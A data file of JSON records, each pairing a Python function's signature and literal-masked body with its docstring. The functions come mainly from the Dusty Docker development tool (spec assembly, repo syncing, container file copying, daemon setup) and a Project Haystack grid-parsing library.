{"signature": "def _expand_libs_in_libs(specs):", "body": "for lib_name, lib_spec in specs['<STR_LIT>'].iteritems():<EOL><INDENT>if '<STR_LIT>' in lib_spec and '<STR_LIT>' in lib_spec['<STR_LIT>']:<EOL><INDENT>lib_spec['<STR_LIT>']['<STR_LIT>'] = _get_dependent('<STR_LIT>', lib_name, specs, '<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Expands specs.libs.depends.libs to include any indirectly required libs", "id": "f3157:m4"}
{"signature": "def _get_referenced_libs(specs):", "body": "active_libs = set()<EOL>for app_spec in specs['<STR_LIT>'].values():<EOL><INDENT>for lib in app_spec['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>active_libs.add(lib)<EOL><DEDENT><DEDENT>return active_libs<EOL>", "docstring": "Returns all libs that are referenced in specs.apps.depends.libs", "id": "f3157:m5"}
{"signature": "def _get_referenced_services(specs):", "body": "active_services = set()<EOL>for app_spec in specs['<STR_LIT>'].values():<EOL><INDENT>for service in app_spec['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>active_services.add(service)<EOL><DEDENT><DEDENT>for bundle_spec in specs['<STR_LIT>'].values():<EOL><INDENT>for service in bundle_spec['<STR_LIT>']:<EOL><INDENT>active_services.add(service)<EOL><DEDENT><DEDENT>return active_services<EOL>", "docstring": "Returns all services that are referenced in specs.apps.depends.services,\nor in specs.bundles.services", "id": "f3157:m6"}
{"signature": "def _add_active_assets(specs):", "body": "specs['<STR_LIT>'] = {}<EOL>for spec in specs.get_apps_and_libs():<EOL><INDENT>for asset in spec['<STR_LIT>']:<EOL><INDENT>if not specs['<STR_LIT>'].get(asset['<STR_LIT:name>']):<EOL><INDENT>specs['<STR_LIT>'][asset['<STR_LIT:name>']] = {}<EOL>specs['<STR_LIT>'][asset['<STR_LIT:name>']]['<STR_LIT>'] = set()<EOL>specs['<STR_LIT>'][asset['<STR_LIT:name>']]['<STR_LIT>'] = set()<EOL><DEDENT>specs['<STR_LIT>'][asset['<STR_LIT:name>']]['<STR_LIT>'].add(spec.name)<EOL>if asset['<STR_LIT>']:<EOL><INDENT>specs['<STR_LIT>'][asset['<STR_LIT:name>']]['<STR_LIT>'].add(spec.name)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "This function adds an assets key to the specs, which is filled in with a dictionary\nof all assets defined by apps and libs in the specs", "id": "f3157:m8"}
{"signature": "def _get_expanded_active_specs(specs):", "body": "_filter_active(constants.CONFIG_BUNDLES_KEY, specs)<EOL>_filter_active('<STR_LIT>', specs)<EOL>_expand_libs_in_apps(specs)<EOL>_filter_active('<STR_LIT>', specs)<EOL>_filter_active('<STR_LIT>', specs)<EOL>_add_active_assets(specs)<EOL>", "docstring": "This function removes any unnecessary bundles, apps, libs, and services that aren't needed by\nthe activated_bundles.  It also expands inside specs.apps.depends.libs all libs that are needed\nindirectly by each app", "id": "f3157:m9"}
{"signature": "def get_repo_of_app_or_library(app_or_library_name):", "body": "specs = get_specs()<EOL>repo_name = specs.get_app_or_lib(app_or_library_name)['<STR_LIT>']<EOL>if not repo_name:<EOL><INDENT>return None<EOL><DEDENT>return Repo(repo_name)<EOL>", "docstring": "This function takes an app or library name and will return the corresponding repo\n    for that app or library", "id": "f3157:m16"}
{"signature": "def get_same_container_repos_from_spec(app_or_library_spec):", "body": "repos = set()<EOL>app_or_lib_repo = get_repo_of_app_or_library(app_or_library_spec.name)<EOL>if app_or_lib_repo is not None:<EOL><INDENT>repos.add(app_or_lib_repo)<EOL><DEDENT>for dependent_name in app_or_library_spec['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>repos.add(get_repo_of_app_or_library(dependent_name))<EOL><DEDENT>return repos<EOL>", "docstring": "Given the spec of an app or library, returns all repos that are guaranteed\n    to live in the same container", "id": "f3157:m19"}
{"signature": "def get_same_container_repos(app_or_library_name):", "body": "specs = get_expanded_libs_specs()<EOL>spec = specs.get_app_or_lib(app_or_library_name)<EOL>return get_same_container_repos_from_spec(spec)<EOL>", "docstring": "Given the name of an app or library, returns all repos that are guaranteed\n    to live in the same container", "id": "f3157:m20"}
{"signature": "@contextmanager<EOL>def parallel_task_queue(pool_size=multiprocessing.cpu_count()):", "body": "task_queue = TaskQueue(pool_size)<EOL>yield task_queue<EOL>task_queue.execute()<EOL>", "docstring": "Context manager for setting up a TaskQueue. Upon leaving the\n    context manager, all tasks that were enqueued will be executed\n    in parallel subject to `pool_size` concurrency constraints.", "id": "f3158:m0"}
{"signature": "@contextlib.contextmanager<EOL>def streaming_to_client():", "body": "for handler in client_logger.handlers:<EOL><INDENT>if hasattr(handler, '<STR_LIT>'):<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>handler = None<EOL><DEDENT>old_propagate = client_logger.propagate<EOL>client_logger.propagate = False<EOL>if handler is not None:<EOL><INDENT>old_append = handler.append_newlines<EOL>handler.append_newlines = False<EOL><DEDENT>yield<EOL>client_logger.propagate = old_propagate<EOL>if handler is not None:<EOL><INDENT>handler.append_newlines = old_append<EOL><DEDENT>", "docstring": "Puts the client logger into streaming mode, which sends\n    unbuffered input through to the socket one character at a time.\n    We also disable propagation so the root logger does not\n    receive many one-byte emissions. This context handler\n    was originally created for streaming Compose up's\n    terminal output through to the client and should only be\n    used for similarly complex circumstances.", "id": "f3160:m5"}
{"signature": "def nfs_path_exists(path):", "body": "split_path = path.lstrip('<STR_LIT:/>').split('<STR_LIT:/>')<EOL>recreated_path = '<STR_LIT:/>'<EOL>for path_element in split_path:<EOL><INDENT>if path_element not in os.listdir(recreated_path):<EOL><INDENT>return False<EOL><DEDENT>recreated_path = \"<STR_LIT>\".format(recreated_path, path_element)<EOL><DEDENT>return True<EOL>", "docstring": "The normal HFS file system that your mac uses does not work the same way\nas the NFS file system.  In HFS, capitalization does not matter, but in\nNFS it does. This function checks if a folder exists in HFS file system\nusing NFS semantics (case sensitive)", "id": "f3169:m1"}
{"signature": "@daemon_command<EOL>def update_managed_repos(force=False):", "body": "log_to_client('<STR_LIT>')<EOL>update_specs_repo_and_known_hosts()<EOL>repos_to_update = get_all_repos(active_only=True, include_specs_repo=False)<EOL>with parallel_task_queue() as queue:<EOL><INDENT>log_to_client('<STR_LIT>')<EOL>for repo in repos_to_update:<EOL><INDENT>if not repo.is_overridden:<EOL><INDENT>repo.update_local_repo_async(queue, force=force)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "For any active, managed repos, update the Dusty-managed\n    copy to bring it up to date with the latest master.", "id": "f3169:m9"}
{"signature": "def _move_temp_binary_to_path(tmp_binary_path):", "body": "<EOL>binary_path = _get_binary_location()<EOL>if not binary_path.endswith(constants.DUSTY_BINARY_NAME):<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(binary_path))<EOL><DEDENT>st = os.stat(binary_path)<EOL>permissions = st.st_mode<EOL>owner = st.st_uid<EOL>group = st.st_gid<EOL>shutil.move(tmp_binary_path, binary_path)<EOL>os.chown(binary_path, owner, group)<EOL>os.chmod(binary_path, permissions)<EOL>return binary_path<EOL>", "docstring": "Moves the temporary binary to the location of the binary that's currently being run.\n    Preserves owner, group, and permissions of original binary", "id": "f3170:m5"}
{"signature": "@daemon_command<EOL>def prep_for_start_local_env(pull_repos):", "body": "if pull_repos:<EOL><INDENT>update_managed_repos(force=True)<EOL><DEDENT>assembled_spec = spec_assembler.get_assembled_specs()<EOL>if not assembled_spec[constants.CONFIG_BUNDLES_KEY]:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>virtualbox.initialize_docker_vm()<EOL>", "docstring": "Daemon-side command to ensure we're running the latest\n    versions of any managed repos, including the\n    specs repo, before we do anything else in the up flow.", "id": "f3172:m0"}
{"signature": "def log_in_to_required_registries():", "body": "registries = set()<EOL>specs = spec_assembler.get_assembled_specs()<EOL>for spec in specs.get_apps_and_services():<EOL><INDENT>if '<STR_LIT:image>' in spec and spec.get('<STR_LIT>'):<EOL><INDENT>registries.add(registry_from_image(spec['<STR_LIT:image>']))<EOL><DEDENT><DEDENT>unauthed_registries = registries.difference(get_authed_registries())<EOL>for registry in unauthed_registries:<EOL><INDENT>log_in_to_registry(registry)<EOL><DEDENT>", "docstring": "Client-side command which runs the user through a login flow\n    (via the Docker command-line client so auth is persisted)\n    for any registries of active images which require a login. This\n    is based on the `image_requires_login` key in the individual specs.", "id": "f3172:m1"}
{"signature": "@daemon_command<EOL>def start_local_env(recreate_containers):", "body": "assembled_spec = spec_assembler.get_assembled_specs()<EOL>required_absent_assets = virtualbox.required_absent_assets(assembled_spec)<EOL>if required_absent_assets:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(required_absent_assets))<EOL><DEDENT>docker_ip = virtualbox.get_docker_vm_ip()<EOL>if os.path.exists(constants.COMPOSEFILE_PATH):<EOL><INDENT>try:<EOL><INDENT>stop_apps_or_services(rm_containers=recreate_containers)<EOL><DEDENT>except CalledProcessError as e:<EOL><INDENT>log_to_client(\"<STR_LIT>\")<EOL>log_to_client(str(e))<EOL><DEDENT><DEDENT>daemon_warnings.clear_namespace('<STR_LIT>')<EOL>df_info = virtualbox.get_docker_vm_disk_info(as_dict=True)<EOL>if '<STR_LIT:M>' in df_info['<STR_LIT>'] or '<STR_LIT>' in df_info['<STR_LIT>']:<EOL><INDENT>warning_msg = '<STR_LIT>'.format(df_info['<STR_LIT>'])<EOL>daemon_warnings.warn('<STR_LIT>', warning_msg)<EOL>log_to_client(warning_msg)<EOL><DEDENT>log_to_client(\"<STR_LIT>\")<EOL>active_repos = spec_assembler.get_all_repos(active_only=True, include_specs_repo=False)<EOL>log_to_client(\"<STR_LIT>\")<EOL>port_spec = port_spec_compiler.get_port_spec_document(assembled_spec, docker_ip)<EOL>log_to_client(\"<STR_LIT>\")<EOL>docker_bridge_ip = virtualbox.get_docker_bridge_ip()<EOL>nginx_config = nginx_compiler.get_nginx_configuration_spec(port_spec, docker_bridge_ip)<EOL>log_to_client(\"<STR_LIT>\")<EOL>make_up_command_files(assembled_spec, port_spec)<EOL>log_to_client(\"<STR_LIT>\")<EOL>compose_config = compose_compiler.get_compose_dict(assembled_spec, port_spec)<EOL>log_to_client(\"<STR_LIT>\")<EOL>hosts.update_hosts_file_from_port_spec(port_spec)<EOL>log_to_client(\"<STR_LIT>\")<EOL>nfs.configure_nfs()<EOL>log_to_client(\"<STR_LIT>\")<EOL>nginx.update_nginx_from_config(nginx_config)<EOL>log_to_client(\"<STR_LIT>\")<EOL>compose.update_running_containers_from_spec(compose_config, recreate_containers=recreate_containers)<EOL>log_to_client(\"<STR_LIT>\")<EOL>", "docstring": "This command will use the compilers to get compose specs\n    will pass those specs to the systems that need them. Those\n    systems will in turn launch the services needed to make the\n    local environment go.", "id": "f3172:m2"}
{"signature": "@daemon_command<EOL>def stop_apps_or_services(app_or_service_names=None, rm_containers=False):", "body": "if app_or_service_names:<EOL><INDENT>log_to_client(\"<STR_LIT>\".format('<STR_LIT:U+002CU+0020>'.join(app_or_service_names)))<EOL><DEDENT>else:<EOL><INDENT>log_to_client(\"<STR_LIT>\")<EOL><DEDENT>compose.stop_running_services(app_or_service_names)<EOL>if rm_containers:<EOL><INDENT>compose.rm_containers(app_or_service_names)<EOL><DEDENT>", "docstring": "Stop any currently running Docker containers associated with\n    Dusty, or associated with the provided apps_or_services. Does not remove\n    the service's containers.", "id": "f3172:m3"}
{"signature": "@daemon_command<EOL>def restart_apps_or_services(app_or_service_names=None):", "body": "if app_or_service_names:<EOL><INDENT>log_to_client(\"<STR_LIT>\".format('<STR_LIT:U+002CU+0020>'.join(app_or_service_names)))<EOL><DEDENT>else:<EOL><INDENT>log_to_client(\"<STR_LIT>\")<EOL><DEDENT>if app_or_service_names:<EOL><INDENT>specs = spec_assembler.get_assembled_specs()<EOL>specs_list = [specs['<STR_LIT>'][app_name] for app_name in app_or_service_names if app_name in specs['<STR_LIT>']]<EOL>repos = set()<EOL>for spec in specs_list:<EOL><INDENT>if spec['<STR_LIT>']:<EOL><INDENT>repos = repos.union(spec_assembler.get_same_container_repos_from_spec(spec))<EOL><DEDENT><DEDENT>nfs.update_nfs_with_repos(repos)<EOL><DEDENT>else:<EOL><INDENT>nfs.update_nfs_with_repos(spec_assembler.get_all_repos(active_only=True, include_specs_repo=False))<EOL><DEDENT>compose.restart_running_services(app_or_service_names)<EOL>", "docstring": "Restart any containers associated with Dusty, or associated with\n    the provided app_or_service_names.", "id": "f3172:m4"}
{"signature": "def _assert_app_or_service_exists(app_or_service):", "body": "get_specs().get_app_or_service(app_or_service)<EOL>", "docstring": "get_app_or_service will throw a KeyError if the app_or_service\nis not found.", "id": "f3174:m1"}
{"signature": "def _env_vars_from_file(filename):", "body": "def split_env(env):<EOL><INDENT>if '<STR_LIT:=>' in env:<EOL><INDENT>return env.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return env, None<EOL><DEDENT><DEDENT>env = {}<EOL>for line in open(filename, '<STR_LIT:r>'):<EOL><INDENT>line = line.strip()<EOL>if line and not line.startswith('<STR_LIT:#>'):<EOL><INDENT>k, v = split_env(line)<EOL>env[k] = v<EOL><DEDENT><DEDENT>return env<EOL>", "docstring": "This code is copied from Docker Compose, so that we're exactly compatible\nwith their `env_file` option", "id": "f3174:m4"}
{"signature": "def validate_specs_from_path(specs_path):", "body": "<EOL>log_to_client(\"<STR_LIT>\".format(specs_path))<EOL>if not os.path.exists(specs_path):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(specs_path))<EOL><DEDENT>specs = get_specs_from_path(specs_path)<EOL>_check_bare_minimum(specs)<EOL>_validate_spec_names(specs)<EOL>_validate_cycle_free(specs)<EOL>log_to_client(\"<STR_LIT>\")<EOL>", "docstring": "Validates Dusty specs at the given path. The following checks are performed:\n    -That the given path exists\n    -That there are bundles in the given path\n    -That the fields in the specs match those allowed in our schemas\n    -That references to apps, libs, and services point at defined specs\n    -That there are no cycles in app and lib dependencies", "id": "f3176:m9"}
{"signature": "@daemon_command<EOL>def validate_specs():", "body": "validate_specs_from_path(get_specs_path())<EOL>", "docstring": "Validates specs using the path configured in Dusty's configuration", "id": "f3176:m10"}
{"signature": "def pty_fork(*args):", "body": "updated_env = copy(os.environ)<EOL>updated_env.update(get_docker_env())<EOL>args += (updated_env,)<EOL>executable = args[<NUM_LIT:0>]<EOL>demote_fn = demote_to_user(get_config_value(constants.CONFIG_MAC_USERNAME_KEY))<EOL>child_pid, pty_fd = pty.fork()<EOL>if child_pid == <NUM_LIT:0>:<EOL><INDENT>demote_fn()<EOL>os.execle(_executable_path(executable), *args)<EOL><DEDENT>else:<EOL><INDENT>child_process = psutil.Process(child_pid)<EOL>terminal = os.fdopen(pty_fd, '<STR_LIT:r>', <NUM_LIT:0>)<EOL>with streaming_to_client():<EOL><INDENT>while child_process.status() == '<STR_LIT>':<EOL><INDENT>output = terminal.read(<NUM_LIT:1>)<EOL>log_to_client(output)<EOL><DEDENT><DEDENT>_, exit_code = os.waitpid(child_pid, <NUM_LIT:0>)<EOL>if exit_code != <NUM_LIT:0>:<EOL><INDENT>raise subprocess.CalledProcessError(exit_code, '<STR_LIT:U+0020>'.join(args[:-<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>", "docstring": "Runs a subprocess with a PTY attached via fork and exec.\n    The output from the PTY is streamed through log_to_client.\n    This should not be necessary for most subprocesses, we\n    built this to handle Compose up which only streams pull\n    progress if it is attached to a TTY.", "id": "f3177:m3"}
{"signature": "@contextmanager<EOL>def _cleanup_path(path):", "body": "try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>if os.path.exists(path):<EOL><INDENT>if os.path.isdir(path):<EOL><INDENT>shutil.rmtree(path)<EOL><DEDENT>else:<EOL><INDENT>os.remove(path)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Recursively delete a path upon exiting this context\n    manager. Supports targets that are files or directories.", "id": "f3179:m0"}
{"signature": "@daemon_command<EOL>def copy_between_containers(source_name, source_path, dest_name, dest_path):", "body": "if not container_path_exists(source_name, source_path):<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(source_path, source_name))<EOL><DEDENT>temp_path = os.path.join(tempfile.mkdtemp(), str(uuid.uuid1()))<EOL>with _cleanup_path(temp_path):<EOL><INDENT>copy_to_local(temp_path, source_name, source_path, demote=False)<EOL>copy_from_local(temp_path, dest_name, dest_path, demote=False)<EOL><DEDENT>", "docstring": "Copy a file from the source container to an intermediate staging\n    area on the local filesystem, then from that staging area to the\n    destination container.\n\n    These moves take place without demotion for two reasons:\n      1. There should be no permissions vulnerabilities with copying\n         between containers because it is assumed the non-privileged\n         user has full access to all Dusty containers.\n      2. The temp dir created by mkdtemp is owned by the owner of the\n         Dusty daemon process, so if we demoted our moves to/from that location\n         they would encounter permission errors.", "id": "f3179:m1"}
{"signature": "@daemon_command<EOL>def copy_from_local(local_path, remote_name, remote_path, demote=True):", "body": "if not os.path.exists(local_path):<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(local_path))<EOL><DEDENT>temp_identifier = str(uuid.uuid1())<EOL>if os.path.isdir(local_path):<EOL><INDENT>sync_local_path_to_vm(local_path, os.path.join(vm_cp_path(remote_name), temp_identifier), demote=demote)<EOL>move_dir_inside_container(remote_name, os.path.join(constants.CONTAINER_CP_DIR, temp_identifier), remote_path)<EOL><DEDENT>else:<EOL><INDENT>sync_local_path_to_vm(local_path, os.path.join(vm_cp_path(remote_name), temp_identifier), demote=demote)<EOL>move_file_inside_container(remote_name, os.path.join(constants.CONTAINER_CP_DIR, temp_identifier), remote_path)<EOL><DEDENT>", "docstring": "Copy a path from the local filesystem to a path inside a Dusty\n    container. The files on the local filesystem must be accessible\n    by the user specified in mac_username.", "id": "f3179:m2"}
{"signature": "@daemon_command<EOL>def copy_to_local(local_path, remote_name, remote_path, demote=True):", "body": "if not container_path_exists(remote_name, remote_path):<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(remote_path, remote_name))<EOL><DEDENT>temp_identifier = str(uuid.uuid1())<EOL>copy_path_inside_container(remote_name, remote_path, os.path.join(constants.CONTAINER_CP_DIR, temp_identifier))<EOL>vm_path = os.path.join(vm_cp_path(remote_name), temp_identifier)<EOL>is_dir = vm_path_is_directory(vm_path)<EOL>sync_local_path_from_vm(local_path, vm_path, demote=demote, is_dir=is_dir)<EOL>", "docstring": "Copy a path from inside a Dusty container to a path on the\n    local filesystem. The path on the local filesystem must be\n    wrist-accessible by the user specified in mac_username.", "id": "f3179:m3"}
{"signature": "@classmethod<EOL><INDENT>def resolve(cls, all_known_repos, name):<DEDENT>", "body": "match = None<EOL>for repo in all_known_repos:<EOL><INDENT>if repo.remote_path == name: <EOL><INDENT>return repo<EOL><DEDENT>if name == repo.short_name:<EOL><INDENT>if match is None:<EOL><INDENT>match = repo<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(name,<EOL>match.remote_path,<EOL>repo.remote_path))<EOL><DEDENT><DEDENT><DEDENT>if match is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(name))<EOL><DEDENT>return match<EOL>", "docstring": "We require the list of all remote repo paths to be passed in\n        to this because otherwise we would need to import the spec assembler\n        in this module, which would give us circular imports.", "id": "f3182:c0:m3"}
{"signature": "def ensure_local_repo(self):", "body": "if os.path.exists(self.managed_path):<EOL><INDENT>logging.debug('<STR_LIT>'.format(self.remote_path))<EOL>return<EOL><DEDENT>logging.info('<STR_LIT>'.format(self.remote_path))<EOL>repo_path_parent = parent_dir(self.managed_path)<EOL>if not os.path.exists(repo_path_parent):<EOL><INDENT>os.makedirs(repo_path_parent)<EOL><DEDENT>with git_error_handling():<EOL><INDENT>git.Repo.clone_from(self.assemble_remote_path(), self.managed_path)<EOL><DEDENT>", "docstring": "Given a Dusty repo object, clone the remote into Dusty's local repos\n        directory if it does not already exist.", "id": "f3182:c0:m14"}
{"signature": "def update_local_repo(self, force=False):", "body": "self.ensure_local_repo()<EOL>logging.info('<STR_LIT>'.format(self.remote_path))<EOL>managed_repo = git.Repo(self.managed_path)<EOL>with git_error_handling():<EOL><INDENT>managed_repo.remote().pull('<STR_LIT>')<EOL>log_to_client('<STR_LIT>'.format(self.remote_path))<EOL><DEDENT>if not self.local_is_up_to_date():<EOL><INDENT>if force:<EOL><INDENT>with git_error_handling():<EOL><INDENT>managed_repo.git.reset('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>log_to_client('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self.managed_path))<EOL><DEDENT><DEDENT>", "docstring": "Given a remote path (e.g. github.com/gamechanger/gclib), pull the latest\n        commits from master to bring the local copy up to date.", "id": "f3182:c0:m18"}
{"signature": "def update_local_repo_async(self, task_queue, force=False):", "body": "self.ensure_local_repo()<EOL>task_queue.enqueue_task(self.update_local_repo, force=force)<EOL>", "docstring": "Local repo updating suitable for asynchronous, parallel execution.\n        We still need to run `ensure_local_repo` synchronously because it\n        does a bunch of non-threadsafe filesystem operations.", "id": "f3182:c0:m19"}
{"signature": "def memoized(fn):", "body": "@functools.wraps(fn)<EOL>def memoizer(*args, **kwargs):<EOL><INDENT>key = function_key(fn) + pickle.dumps(args) + pickle.dumps(_hash_kwargs(kwargs))<EOL>if key not in cache:<EOL><INDENT>cache[key] = fn(*args, **kwargs)<EOL><DEDENT>return cache[key]<EOL><DEDENT>return memoizer<EOL>", "docstring": "Decorator. Caches a function's return value each time it is called.\nIf called later with the same arguments, the cached value is returned\n(not reevaluated).  The cache lasts for the duration of each request.", "id": "f3183:m1"}
{"signature": "def init_yaml_constructor():", "body": "def utf_encoding_string_constructor(loader, node):<EOL><INDENT>return loader.construct_scalar(node).encode('<STR_LIT:utf-8>')<EOL><DEDENT>yaml.SafeLoader.add_constructor(u'<STR_LIT>', utf_encoding_string_constructor)<EOL>", "docstring": "This dark magic is used to make yaml.safe_load encode all strings as utf-8,\nwhere otherwise python unicode strings would be returned for non-ascii chars", "id": "f3207:m3"}
{"signature": "def close_client_connection(terminator=SOCKET_TERMINATOR):", "body": "try:<EOL><INDENT>connection.sendall(terminator)<EOL><DEDENT>finally:<EOL><INDENT>close_socket_logger()<EOL>connection.close()<EOL><DEDENT>", "docstring": "This function allows downstream functions to close the connection with the client.\n    This is necessary for the upgrade command, where execvp replaces the process before\n    the main daemon loop can close the client connection", "id": "f3208:m6"}
{"signature": "def _increase_file_handle_limit():", "body": "logging.info('<STR_LIT>'.format(constants.FILE_HANDLE_LIMIT))<EOL>resource.setrlimit(resource.RLIMIT_NOFILE,<EOL>(constants.FILE_HANDLE_LIMIT, resource.RLIM_INFINITY))<EOL>", "docstring": "Raise the open file handles permitted by the Dusty daemon process\n    and its child processes. The number we choose here needs to be within\n    the OS X default kernel hard limit, which is 10240.", "id": "f3208:m7"}
{"signature": "def _start_http_server():", "body": "logging.info('<STR_LIT>'.format(constants.DAEMON_HTTP_BIND_IP,<EOL>constants.DAEMON_HTTP_BIND_PORT))<EOL>thread = threading.Thread(target=http_server.app.run, args=(constants.DAEMON_HTTP_BIND_IP,<EOL>constants.DAEMON_HTTP_BIND_PORT))<EOL>thread.daemon = True<EOL>thread.start()<EOL>", "docstring": "Start the daemon's HTTP server on a separate thread.\n    This server is only used for servicing container status\n    requests from Dusty's custom 502 page.", "id": "f3208:m9"}
{"signature": "@app.route('<STR_LIT>', methods=['<STR_LIT:POST>'])<EOL>def register_consumer():", "body": "global _consumers<EOL>hostname, port = request.form['<STR_LIT>'], request.form['<STR_LIT:port>']<EOL>app_name = _app_name_from_forwarding_info(hostname, port)<EOL>containers = get_dusty_containers([app_name], include_exited=True)<EOL>if not containers:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(app_name))<EOL><DEDENT>container = containers[<NUM_LIT:0>]<EOL>new_id = uuid1()<EOL>new_consumer = Consumer(container['<STR_LIT>'], datetime.utcnow())<EOL>_consumers[str(new_id)] = new_consumer<EOL>response = jsonify({'<STR_LIT>': app_name, '<STR_LIT>': new_id})<EOL>response.headers['<STR_LIT>'] = '<STR_LIT:*>'<EOL>response.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>return response<EOL>", "docstring": "Given a hostname and port attempting to be accessed,\n    return a unique consumer ID for accessing logs from\n    the referenced container.", "id": "f3209:m2"}
{"signature": "@app.route('<STR_LIT>', methods=['<STR_LIT:GET>'])<EOL>def consume(consumer_id):", "body": "global _consumers<EOL>consumer = _consumers[consumer_id]<EOL>client = get_docker_client()<EOL>try:<EOL><INDENT>status = client.inspect_container(consumer.container_id)['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>status = '<STR_LIT>'<EOL><DEDENT>new_logs = client.logs(consumer.container_id,<EOL>stdout=True,<EOL>stderr=True,<EOL>stream=False,<EOL>timestamps=False,<EOL>since=calendar.timegm(consumer.offset.timetuple()))<EOL>updated_consumer = Consumer(consumer.container_id, datetime.utcnow())<EOL>_consumers[str(consumer_id)] = updated_consumer<EOL>response = jsonify({'<STR_LIT>': new_logs, '<STR_LIT:status>': status})<EOL>response.headers['<STR_LIT>'] = '<STR_LIT:*>'<EOL>response.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>return response<EOL>", "docstring": "Given an existing consumer ID, return any new lines from the\n    log since the last time the consumer was consumed.", "id": "f3209:m3"}
{"signature": "def _cmp(self, other):", "body": "if not isinstance(other, Version):<EOL><INDENT>other = Version(other)<EOL><DEDENT>num1 = self.version_nums<EOL>num2 = other.version_nums<EOL>ver_len = max(len(num1), len(num2))<EOL>num1 += tuple([<NUM_LIT:0> for n in range(len(num1), ver_len)])<EOL>num2 += tuple([<NUM_LIT:0> for n in range(len(num2), ver_len)])<EOL>for (p1, p2) in zip(num1, num2):<EOL><INDENT>if p1 < p2:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>elif p1 > p2:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>if self.version_extra is None:<EOL><INDENT>if other.version_extra is None:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT><DEDENT>elif other.version_extra is None:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif self.version_extra == other.version_extra:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>elif self.version_extra < other.version_extra:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>", "docstring": "Compare two Project Haystack version strings, then return\n    -1 if self < other,\n    0 if self == other\n    or 1 if self > other.", "id": "f3225:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def nearest(self, ver):<DEDENT>", "body": "if not isinstance(ver, Version):<EOL><INDENT>ver = Version(ver)<EOL><DEDENT>if ver in OFFICIAL_VERSIONS:<EOL><INDENT>return ver<EOL><DEDENT>versions = list(OFFICIAL_VERSIONS)<EOL>versions.sort(reverse=True)<EOL>best = None<EOL>for candidate in versions:<EOL><INDENT>if candidate == ver:<EOL><INDENT>return candidate<EOL><DEDENT>if (best is None) and (candidate < ver):<EOL><INDENT>warnings.warn('<STR_LIT>''<STR_LIT>''<STR_LIT>'% (ver, candidate))<EOL>return candidate<EOL><DEDENT>if candidate > ver:<EOL><INDENT>best = candidate<EOL><DEDENT><DEDENT>assert best is not None<EOL>warnings.warn('<STR_LIT>''<STR_LIT>''<STR_LIT>'% (ver, best))<EOL>return best<EOL>", "docstring": "Retrieve the official version nearest the one given.", "id": "f3225:c0:m10"}
{"signature": "def parse(grid_str, mode=MODE_ZINC, charset='<STR_LIT:utf-8>'):", "body": "<EOL>if isinstance(grid_str, six.binary_type):<EOL><INDENT>grid_str = grid_str.decode(encoding=charset)<EOL><DEDENT>_parse = functools.partial(parse_grid, mode=mode,<EOL>charset=charset)<EOL>if mode == MODE_JSON:<EOL><INDENT>if isinstance(grid_str, six.string_types):<EOL><INDENT>grid_data = json.loads(grid_str)<EOL><DEDENT>else:<EOL><INDENT>grid_data = grid_str<EOL><DEDENT>if isinstance(grid_data, dict):<EOL><INDENT>return _parse(grid_data)<EOL><DEDENT>else:<EOL><INDENT>return list(map(_parse, grid_data))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return list(map(_parse, GRID_SEP.split(grid_str.rstrip())))<EOL><DEDENT>", "docstring": "Parse the given Zinc text and return the equivalent data.", "id": "f3226:m0"}
{"signature": "def __init__(self, version=None, metadata=None, columns=None):", "body": "<EOL>version_given = version is not None<EOL>if version_given:<EOL><INDENT>version = Version(version)<EOL><DEDENT>else:<EOL><INDENT>version = VER_2_0<EOL><DEDENT>self._version   = version<EOL>self._version_given = version_given<EOL>self.metadata   = MetadataObject(validate_fn=self._detect_or_validate)<EOL>self.column     = SortableDict()<EOL>self._row       = []<EOL>if metadata is not None:<EOL><INDENT>self.metadata.update(metadata.items())<EOL><DEDENT>if columns is not None:<EOL><INDENT>if isinstance(columns, dict) or isinstance(columns, SortableDict):<EOL><INDENT>columns = list(columns.items())<EOL><DEDENT>for col_id, col_meta in columns:<EOL><INDENT>if isinstance(col_meta, dict) orisinstance(col_meta, SortableDict):<EOL><INDENT>col_meta = list(col_meta.items())<EOL><DEDENT>mo = MetadataObject(validate_fn=self._detect_or_validate)<EOL>mo.extend(col_meta)<EOL>self.column.add_item(col_id, mo)<EOL><DEDENT><DEDENT>", "docstring": "Create a new Grid.", "id": "f3227:c0:m0"}
